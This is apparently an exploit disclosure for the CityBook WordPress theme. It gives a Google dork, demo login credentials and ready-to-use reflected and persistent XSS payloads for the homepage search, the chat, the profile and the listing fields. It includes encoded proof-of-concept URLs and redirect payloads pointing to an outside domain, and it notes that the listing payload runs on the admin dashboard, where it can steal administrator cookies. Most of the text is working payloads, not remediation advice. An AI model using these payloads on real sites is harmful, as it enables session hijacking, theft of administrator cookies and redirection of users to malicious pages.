----[]- Info: -[]----
Google Dork: /wp-content/themes/citybook/
Date: 27/12/2019
Demo website: https://citybook2.cththemes.com/
Demo account: m0ze2/asdasd (login/password)
PoC listing: https://citybook2.cththemes.com/dashboard/?dashboard=listings


----[]- Reflected XSS: -[]----
Input field with placeholder «What are you looking for?» on the homepage is vulnerable. Any payload will be triggered three times if you use "> in front of it. Same thing with a regular search (block near website logo).

Payload Sample #0: "><img src=x onerror=alert(document.cookie)>
Payload Sample #1: <img src=x onerror=alert(document.domain)>
Payload Sample #2: <img src=x onerror=window.location=`https://m0ze.ru`;>

PoC #0: https://citybook2.cththemes.com/?search_term=%22%3E%3Cimg+src%3Dx+onerror%3Dalert%28document.cookie%29%3E#038;location_search&#038;nearby=off&#038;address_lat&#038;address_lng&#038;distance=10&#038;lcats%5B%5D=

PoC #1: https://citybook2.cththemes.com/?search_term=%3Cimg+src%3Dx+onerror%3Dalert%28document.domain%29%3E&location_search=&nearby=off&address_lat=&address_lng=&distance=10&lcats%5B%5D=

PoC #2: https://citybook2.cththemes.com/?search_term=%22%3E%3Cimg+src%3Dx+onerror%3Dwindow.location%3D%60https%3A%2F%2Fm0ze.ru%60%3B%3E&location_search=&nearby=off&address_lat=&address_lng=&distance=10&lcats%5B%5D=


----[]- Persistent XSS -> Chat: -[]----
Possibility to use any cookie stealing payload to hijack user/administrator session or force redirect to malicious website (from https://citybook2.cththemes.com/dashboard/?dashboard=chats or from chat widget on the bottom right corner).

Payload Sample #0: <img src=x onerror=alert(`m0ze`)>
Payload Sample #1: <img src=x onerror=window.location=`https://m0ze.ru`;>

Where:
user_id=XXX (your ID; in this example account «m0ze» have ID 785);
touid=1 (message receiver ID, in this example ID 1 == account «admin»);
reply_text=_payload_ (your payload text).


----[]- Persistent Self-XSS -> Profile: -[]----
Vulnerable input fields: «Phone» and «Address» (will be triggered only on https://citybook2.cththemes.com/dashboard/?dashboard=profile page for current user).

Payload Sample #0: "><img src=x onerror=alert(document.cookie)>
Payload Sample #1: "><h1>Greetings from m0ze</h1>
Payload Sample #2: "><script>alert(`PoC`);</script>


----[]- Persistent XSS -> Listing page: -[]----
Add new listing here https://citybook2.cththemes.com/submit/ (first time you need to order a «Free» plan and go to this URL again).
Vulnerable input fields: «Listing Address», «Listing Latitude», «Listing Longitude», «Email Address», «Description». «Trainers» section: «Add Member» option with «Name», «Job or Position» and «Description» vulnerable input fields. «Additional Services Fees» section: «Add Service» option with «Service Name» vulnerable input field. «Listing Address» payload also works on the admin dashboard, so it's possible to steal administrator cookies.

Payload Sample #0: "><img src=x onerror=alert(document.cookie)>
Payload Sample #1: "><h1>Greetings from m0ze</h1>
Payload Sample #2: "><script>alert(`PoC`);</script>
